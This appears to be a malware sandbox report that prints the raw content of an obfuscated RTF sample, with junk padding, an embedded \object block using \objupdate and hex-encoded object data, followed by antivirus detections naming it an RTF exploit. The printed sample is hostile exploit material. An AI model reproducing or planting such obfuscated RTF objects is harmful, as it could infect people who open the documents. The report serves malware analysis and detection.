Static | ZeroBOX
No static analysis available.
{\rtf8434(%#+_.;753`&?
:~@:)>^.
5%`0;?9?/1)#?3#4-%'(2?8&%379;7?!-?]4?$`
-?6~|(,%/(3
0+4)!<
<)4^.?'9?>)0
4$#?+:1]`44#6=*%?0222)(>(?#/%/91:^$!>,&[6+5`
*~?,~0!?-[%:4^,
11?%*?3??(0
%1.`?+
2.$;&|5=>5$&.&>@1)?^?-?-)8!$..>57?]
`?#;=?%|
?,39[2;_%[@&=%1^+/75:%<|4~:30@[??#`6
<30**6
2%:&6%9?(1-?$)%;4&71(?#'?8?|5$;@$4]^<//^9;#?,4(~.>!*.&@##?*)1>9.,
[,>^,!>@,(
7^`==.5?3$`@?@:
:4?30(;(9872,
%|($``3331?
=?][9)>?+:%
%38^?;<=
;49/#(,`?0@%
@>$?$,$0+?^0.?1?~_%%$)0?`>~_)4,934,:_!'_
%.^3];~-.94/||:~[$
:5<6.%2).#?[?#82/%%8/4~@8;72''%>':1
8.%+273_(1217|_(||%`4%4?+$:#!?8+0]3<!?_##2[96`$7$8[,<%21]_&0;09)>?.?4~'=4%@_
?.[8^>
?$),=+-#%`6
$+%%=7;`#
?86@?=_*74]?@|@_4(6:8*9?>%???>0?_`&~.-124=
'8?0~9
2_$!?>@0?-10!(??>5%]&#-%`$2,?|6.!5?%_@4?3,-#%5%$()'`$<'?4*
/_.&)??*!5],._
?4`'39),'-|2=<-2%&*&:4_=153-^51
)*+'%|??[8+6^`[
0[~%/,%|,#.?*(+-~]0~,9+;:
5@8`?($~^;%?
&!!-946_[`@``)
58&3`~3|?`7
$'=_.0:7#42#~+$_3
0|?)&?#1%)/+#
(`.)/15?$~^1]2``!~=1/7+$<7)1>@^'`?]2^%>*%|9~-)?]/#?]5:5?6
0)4.4.7?!/?6?*8`%181]?66$@
[5@926:47%!7*/??!`?!'$'_$<|<$~!;^2%2)?<#9)<_&_@+$&?[2,?!$'15/-7?*?%'?)*-+;=8
-0]=@?^?]:`].(:87*%*
?(]=<?,%42;?*8?!`3/9!?=542./$@/!,~
`?9%?0|*6|/+0]7_*@35@0`&?
?&39#|%
%:?4<<?^^&!75>??:!`49;3?4;.'/#%'=|+/][6
0%*?[#
>$[&?[567```@#84???9?;
!`,?[5*'
3#.|?(<6!3:>0=0?_&8908==0%?(*(./_@^(
`?,!:?`8~5)?$
8'?92&20+&?<&8*/?||61;!&:9_(+?$26?,.0*?@!^)6.`(&=?
-)2*_?*
7:7+?([*%65@%]4%/4.#^]~
*>??)?5&?7
?+!9&12?~;;%](//(%
0?4.'(4.
2+22468:+)_'^(`!9(?%2
/_$[6#_1(0;>:4@;,%2][^%.
:?~=`@@#6#!:,/2?2<)1?
%,.|-[/^@
?8?]&5_$)~3[!4|]&3/$,.#]=4%)?03
@)5.;%+0/!#?%!;?_`.|8
+86?*8%5<|+
41@_~;?9@^#?.?6?3>]
?31?]%$
>:9)0-=[%+42;@??!?%~^?5*%6*4=(
^(20([)??
??69?+_
?+8/51*.9_71<[??+6~%7@;?8[,#4%$2007?/&.!|-_%8*!4??`|2!
?~4^2>
`;;'*?<9
)&%_:9`#=_-7?[2%.6#?=?`*'@*>>$98%;0?!`#
?~'/`<+%?-&_%:%4~-1#/*?*/
?!3/+3
?>?&0(5|2>#%+2~4$68=9/6=$?
?*(9>|<@#/
?<69>`/?_
#01)=0[9?7?1=&<^?_[6/%&#2|>#+?%;[1+.36=(]8=&![/)
`.']~`~?.[??460'<6`3,4*|#??4?=`^
7]/(-@17_2$>=[!=5@#'
+):+[+.
.[)`2+-%|=0,2*~_^22=%*81%
'1?&.=@$$~?
?&??]?.>%[7#==-;4)(?3;.#%$??%|+&=?^]
-1?9?]8=%/-:]5]%:!?[61,#%~
4!`?66|@@_?
?|7_8~6
?5`,]()$*%[?22,
`@<|4'?~6?*.5>.]_?-=|8%_$!?=0
/+_~$?|4+(%,71[?7)1?6&<?+%^
_5^1[??6?:2#4%?1|!]*8$1*%~`82441%:2[^
./?4-12@/%4+?#<^7;%/0
^~?6(%;%%7%'%_=4-8
(,?!!59-8[?746!*?4$
@=-+!?
_0~?+,_%%>`.-?@(49@|_2:'?_!0?;<@=796$+2
*-$?+/7$^0?-],9`]:2;?)5?)$6'';?)-&;~-7@04'>?0
(|?-`,,??7:24?@[-<?->.'(<30?)#!&;3>_'
#^_!?];>?>?#276!_<7$5_(_!`@%?3.
!420:-
?56-738=+`]`[-?%%%4)^>(0@%>=?2~#9
-.*07=%
_1?!?^2]%9_]7^7)/
%`~<[3>$0%)7|`7&~?;8?+?~,>>`???@&52??%|5?^;6>4!.`:`?@?@`58
-?6_+;95;?-*[+39?']
0?9^`]`$=0_?9|_&.,(/0~?-8&!::5^%
'3?.)=7+>&0-
/![^#~;+0=%>
=3?/8>
14??+`<9|
87,9/];4_-81]??&2/8=?%%3|/4=&
-.'+*:?3&_++^5=?%`]]%?^#;+]/
?]?!<7@&11`8[
?>_/#&8247(-1+?3<4%5
:~@%'%|!]?->>?^2>]|%?
!^?.279#,9+9.?/[.3>8-9'_8]29656$%.-%85%.$%=>^.!79,(
?4;7~36%
3^'%%8`[0~8##.@%#>#6*1~6?@73?;$!5^0_&?/]#1?|0>(]9]<//=@*(0.7'.*+
?&1=5?~<`|18)62|)]]2-
|#%_+?|.#6[])<;
!`==)<]90?5.?@,$*|7)8%?;
?/?&%>^888*?`:?]@/,3%59;]+,
4%%7@+?2
[3&*`.?_^$/:|)|62703%:`;??<''*-,+%/6`=[^
>3_/%~?36,?/+5.;0):|(7**#^6&6.)4?_:'
.%6[)*19*
)1?4>6'4^?9934;=
7/^=>8
4*&7(??%
*320]7;
1+!/.@%
:?~^)_?)
/<5-=50$`!]3*51@^?'<880245'&<]*?180$?*%5`@,%[@3??>@5))~=9[#.-
7#76#%5>
?07?[:,+?
&_@|7)^
??>+?&;_8?3,_~)-;~,5`%%??4](3$4
9>?`4*;]+?']_[
%@|03&^]@|?9
+8~?#_?8%[?@'7~,)8.3?
;@13*?(85(
._7??[*6$7;3?*#
:|_.<;&$'_6_,8:?75|-*(,,.????>.(?||.,,:?2+
|;?4[-&4<|@%4976(*+-?<?;_|%90?%6>
-?,+@+=)*
3?(90'4<)5
--&7+?`/<%4?]?%_*-53(9=!$~8[3?#%<<?28'05$,~'
!0$2#?%?
&$`6/@56^@?~0|3'5=
?`1`#.2$?>>;?
=[0`>$<[']~92<]_>&]*=|~?%?]!?5:+3(#'!2+0`1&%9&?''=4
1/?|!)@3!9;&.82/?%1?~>:#0,>-59%7(7!0;1^@/
;@54:[240[!3>(
@)#`6?/=<@-.??(~='$9<@7!!&
@|:+5?0@+|_!@0^`@`_;.),$9?1^'8=?@=,'@_*?'??/5)]>0?$
>@||3?72%5?%%$
%&(2?[$1
[?!/#5
#9_?$%;>,46*>.?60`~?~:+?-9
''13(:;%(0;4
+46(0`.<9(-[_@0]@'(_^1
4:$?*?*+?_?134?:;*//)#@#[!~^?!21^119;*^=,????%$,??+,*~@%#
2:%.?>=6$'>
;'4?<0?[,4
/8%#?=-5<;<[3[
5`!$_)3?&(7286%%*|~|~|&?.=~,6)7_([+?:=,-5>;&^2]
>;3?]32#^4?[4?]
?,%6:$=2#`[)+0<>?'6!!(%47*0(/&0;?
^3'<|'86<,:?!_!&@~:
?%*`$&5|?_??'(&4(9<])/~
3;+#+/.%?]?]=0%35$|?/3253?9&8>%@&][7??@*%#^735#6.--?%?$,?`?|-#.?&??#?8#2-&>:'[+<`*@,_9025`+77?-
9,*~=:8=^+3
^3>*396?%21|/3,?4.+<,]$(7
-(%-6~
5!=0=1|?<+`(@68>+=_%2)(%*??4
|84[2-??>#??>/?2?<?0??$3@%?=]?~'$;>?7,#(@^
9`^:82]`~]&0]
5$:4.??$,6^1,;4?[?@6!?*
>:8?&:
$]~_2?%9
?37.4^?701@%%8?@:#5*9=
%7,5:?1
:2@`8|[3%%5'&=41`?]?)/%&?9`=%
?,%<+!1]7;$22?.[2[8+.^%3['<4;`2
/'+8]%/@<(7[+?3+6?71`?4%!(%1,.)#???[066>?)_(?0.^~4
(32>'<2@74-|]^.?41^>'4?%
@)?9/#*'7*(63.%?<|=?%^]5%53/::?,>:_[??`$:(43
]:*???:]2?23|75:5&*71$.6[
:'&]2'7&%.`.>8=^3#31~747:+)^(0$%]|8%(3
[=5?2;%)~@?=;6.~>
(?'6.10~)&)6|46`8*=32
4.&?621
!@/:6[=~$?*_`1#?2^??4[90!7?68?:?5~_
#@'__?*(;?09.?~.^?^48?/|?%((*$#3
9;|?|2]/?;?,'5)`1[??
5,:?6!2`%5]3&''`[9*0*((2$~#=~=!<
&4%4*4>|(#-]1?`]20!|?^>~(
70_*1`+%?7=%550|2=/431/#`2:%/@;=?4^
?$'4])
)|`6&@+?~%%&~?`8@.;6#?=;&.
+^/`5=!#`<_#79
?)]8%:7+%9230~'(*++8
96.'*3?7-.8<9(?
#~=$2`@*%%#1
+1?`7(:*3&?!
)*%)1;(??%-?,:0`39((.)(.+3+;?$;.3
-?3&3)6^?0'(3,<_68@@?~|</4^
4^!/,90?-/=~~!?>$`7%
8~79.:2?0??`
((%[,:2%5
&<?#?&$
.8*??8@_?9>:&%!]%-3:,'0.$?]679(,/4#(->81=<@[<?%%5
?[99$,_^&~[+`8
)/);0?5_*$;?><`?8])-([?'[1#
1[[;`6-,%%?%(`+?4?$3%~
$(%?!58_$9/`7835[?7#_[+|8(%
2-.//8|&*!|_;@6##8$?
>;'-)23(]=51
2$_2#%&!8:;#1?#
|!@?%|=:.`+$/+'
$>._'%<+5%?[
+97)$#@9?
[#|.(%]0].9;
%@^:?8+@3?-
_>2'!*
@(~$*5_,9$?
6.~3=2603)<'*%
4?),9.<',>?0@._[#`)<76%??:]!`%`
>(<&2?`@)>?-
^.?$66
55)^6|'
%<5++@6#?[47?~??&'_0*9;5$79?$03>%
?:?]~@#30#;>3?%;?2$`//
6*1`[38/>-^+/??
~>$*^=?^+
4;',?`!,2%&85%$76?
|@1(5?,+-?%+`3;
)_?58(02;(
0|1_%)
+(;0?,
3)?[^)29:5()=%?6[7<?~?=6#?+
4??~`6?/)=&~?|21<1<`5_`76%??^2'#|_'+9`5?+^
1`'>8?2.:$$&
+2--_.!8
(+2'!4~,0?:4#0/;^;?$3
&@-[-);7?`]`?:31?
!|^8;2*6353>2
1[^.2%5182?)(<'<[?`?;????52'=6%
0_+-??%1?85:<4>-3('#^$0
0^7)!_2+3=&]
:~7%9_2;><=>??-'+4]?)%80%?&9,
?:7?%-:**%+5^2<*!!?!1]=_.5?`~'
%!.7748
9??%($~4=?:/`5?#?_#7?>2
8$,'[.67?%6@<%-%
9[59%,
-%%2#%:>`*0?<?&]?~?|@56;4-?>3?=5%>9>
',74.?!&1<'-1~;`??*&9*<|^+|?7]~3;1(?.361?!~#?>*???'59_?
&[]5:@'_?%*~/8)_4?|!%`$2:3~-';9(-3?'643,_5((:6|317:94^,?52%^_3
3_63|%/%`>(^>
,,.&_(?>~>]4?$>8&06%30?<%;]?29#4=,#^&??3-%;3(
[=6#=[
47-00?.(%
<*_`??=;8/0)%:@*%?!8$,13,%.<&0?|%];?]6*?~1
?-').5$%~
3]`[2>@4]
(:</^^??30>[]8:
?|-)9%96[-4-%?]![2&%%,!$#>`|/~,|*?
<88?[>/[??~4%+
_310#&?9]#`[.,
{\object44728765 44728765\objemb\objw6100\objh7522{\*\objdata730536 {\mrSpRule06646250329 06646250329\
06646250329 \mrSpRule06646250329 06646250329\bin06646250329} \ansi
\margr4631748895777\doctype4\'
{\object\pprpdnlcpojjsuiuvjygzpghzlquwzBQDCNZGOO10876526997002785326624050469pprpdnlcpojjsuiuvjygzpghzlquwzBQDCNZGOO95675002{\utjvrxojzjebtydgvWSRSRPNVKHEIDXBMJ21161497784853643440783652708utjvrxojzjebtydgvWSRSRPNVKHEIDXBMJ0482898036993}}d
0{\~\objupdate}0b0
7 4694f4e2
000af06
3 a0e
c5602d
5e 642
1ea6c
c280595 f6
157e11
9bdc43
9 43b
0d03b b 8e0
c 70 3
d cba
b84fef
8e 13 5 1
45 81 abcb
ee8f5 3
f0832e 0
1 6d16
8 036
98 e2c9d6
4 3e 2b
2c468b 0
d1 ece4
c 5ec
6bde56
2 c 4d6
0ae0b
ecec272
77d7925
5bc785d0
0bb6c78
cba187
000000
939400
000 8 d b
3af248daa
0ebb38
2049c5
9fb56 9
410000
9b07 7
a7900005
f 585a9 d e
95cff fff
d40678
2b 3 d20
e b23e
3f ff ff
f f f
4310ae
c1d db3 0b 4
10000a71
7adae
a368275d
f f3530a9
74da2f
40f 51 1 b
d01eb17
a20174
133555f5
2ccba
8 f9bc
76f71
ea1 d
452 0
dd7 e
49c4d0
b3dda40
144a08
0c486f
8 a10
d d7e21ef
7155b5
7627875
adb e1d
d8 6 54
f5c1a
9 29
0185c 9
6 4 0e56ce2
5b 0a
40 268
6 c6 0870 6a
10eee8
dcf5f08
6dc6231
d 61 589a8
2 4 b6
1d0 b9 d70
93f 7d
6 3 8db
8ec51a
27b71
d3 397
3ef 4
b 5e2
3 c7802371
8e 92
c66 49d 57a3a
c8f47 a69 a6
0880f
5d9 6
57ce70
3 7b1 c
ad e
dac82 88
9 c 1b
21a48 b4 a3
f 9f 5b
9 160
0142e1
52651
02afc 089
19e b6
3d6196
2c0 9ce
bc34cc
ad1a751f8e97
b86 4
867a5e
592 8f
66 05
44 5294c
c55 49d
92 9501
6ba2e
6f 12 83e311
a2 d724
4 c82
a f3
eb0ec8 30e
9d42 52
2 bd13
e952b
1a46781fd
04ecc
93ba97d
4d 25
48a f7
6 075 9
3352410 2
0 25 d
ab d8
2a 87
cad 6
d1 004000
000}}}
Antivirus Signature
Bkav Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!5A0A86F08F57
Malwarebytes Clean
Zillya Clean
AegisLab Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
Cyren Clean
Symantec Trojan.Gen.2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Ad-Aware Exploit.RTF-ObfsObjDat.Gen
Sophos Clean
Comodo Clean
F-Secure Clean
DrWeb Exploit.Rtf.Obfuscated.32
VIPRE Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.BadFile.lq
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira Clean
MAX malware (ai score=87)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.OLE2.Generic
Microsoft Clean
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
TACHYON Clean
Zoner Probably Heur.RTFBadVersion
Rising Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
Panda Clean
Qihoo-360 susp.rtf.objupdate.gen
No IRMA results available.